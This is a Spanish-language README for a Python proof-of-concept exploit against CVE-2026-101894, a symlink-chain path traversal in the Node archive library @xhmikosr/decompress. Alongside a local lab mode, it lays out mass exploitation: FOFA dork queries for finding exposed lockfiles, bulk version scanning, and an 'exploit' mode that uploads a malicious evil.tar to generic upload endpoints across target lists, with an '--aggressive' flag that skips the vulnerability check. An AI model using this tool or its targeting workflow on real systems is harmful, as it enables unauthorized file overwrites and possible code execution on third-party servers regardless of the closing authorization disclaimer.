
PoC en Python para CVE-2026-101894: path traversal mediante cadena de symlinks en @xhmikosr/decompress. Incluye laboratorio local de Node, escaneo de versión en lockfile y exploit de carga masiva de evil.tar.
PoC en Python 3 para CVE-2026-101894 — la extracción de archivos de Node.js en @xhmikosr/decompress (y en el paquete sin mantenimiento decompress) permite leer/escribir fuera del directorio de salida mediante una cadena de entradas symlink. Omite el endurecimiento de CVE-2026-53486. CVSS 3.1 9.1 Crítico.
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Catálogo | https://pocbit.org/pocs/ |
| Paquete | @xhmikosr/decompress (mantenido), decompress (kevva, sin parchear) |
| API | Por defecto decompress(input, output) |
| CWE | CWE-22 traversal de rutas, CWE-59 seguimiento de enlaces |
| Corregido | 10.2.2 (10.x), 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress, al extraer archivos tar/zip, etc. en la carpeta de destino, aplica comprobaciones léxicas de rutas; sin embargo, con entradas symlink consecutivas el kernel puede resolver las entradas posteriores fuera del directorio de salida. Con un archivo controlado por el atacante, se puede sobrescribir / leer config, startup script o archivos sensibles → escenario de RCE (CI, contenedor, servicios de upload+extract).
Parche para @xhmikosr/decompress: 10.2.2 y 11.1.4. El paquete antiguo decompress hasta la versión 4.2.1 pertenece a la misma clase y no recibe parches — migre a @xhmikosr/[email protected]+.
| Modo | Propósito |
|---|---|
--lab | Instala 11.1.3 dentro de lab/, verifica la escritura hacia fuera con la cadena de symlinks evil.tar |
--write-evil-tar | Escribe el archivo payload en disco (marcador POCBIT-101894-ESCAPED) |
check | En el objetivo remoto, ¿package.json / lockfile → versión ≤ vulnerable? |
exploit | POST con evil.tar de cadena de symlinks a rutas comunes de upload (mass bulk) |
| mass | --list + -j; hits.txt / exploited.txt |
El exploit remoto no demuestra que el servidor realmente abra el archivo con decompress; se considera exploited la aceptación de upload 2xx + fingerprint de versión vulnerable. Para una prueba concluyente, use --lab.
hits.txt vs exploited.txt (caso frecuente)| Etapa | Qué demuestra |
|---|---|
| check → hits.txt | /package.json o /package-lock.json expuesto y contiene decompress vulnerable |
| exploit → exploited.txt | Al menos una de las URLs genéricas de upload probadas por el PoC devolvió HTTP 2xx |
En la lista FOFA de Express, 500 escaneos → 2 hits es normal. 2 hits + 0 exploits (vulnerable_dep_no_upload_endpoint) también es normal: fuga de dependencia ≠ upload de archivo abierto al público. Para explotar este CVE, la aplicación debe abrir el archivo no confiable con decompress(); en sitios HID / aleatorios en :8088, las 8–11 rutas por defecto del PoC a menudo no existen.
# Prueba de la cadena (local)
python poc.py --lab
# Hits: solo dependencia + intento de upload
python poc.py --list hits.txt --mode exploit -j 2
# Esperado: upload_ok=0, status vulnerable_dep_no_upload_endpoint
| Paquete | Vulnerable | Parcheado |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | ninguno — migrar |
cd CVE-2026-101894
pip install -r requirements.txt
Lab: Node.js + npm en PATH (se recomienda Linux/macOS para el comportamiento de extracción de symlinks).
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| Flag | Significado |
|---|---|
--lab | PoC de extracción local con Node |
--aggressive | Explotar incluso sin lockfile vulnerable expuesto |
--upload-paths | Rutas POST personalizadas separadas por comas |
--exploited-list | Objetivos donde el upload devolvió 2xx |
Cadena de symlinks (simplificada):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt con payload marcadorCoincide con la clase de omisión mediante cadena de symlinks descrita en las notas de la versión 11.1.4 (corrección de realpath / contención).
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
La lista de dorks FOFA de upload/zip (fofa_results_1000) es más adecuada para la superficie de exploit que una lista de 500 solo de Express; aun así, hit = lockfile + decompress vulnerable, exploit = upload 2xx.
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(El lockfile rara vez es público en producción; la comprobación suele encontrar staging, artefactos de CI, hosting estático mal configurado.)
Pruebe únicamente sistemas que esté autorizado a evaluar. No suba archivos maliciosos a servicios de producción de terceros.
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894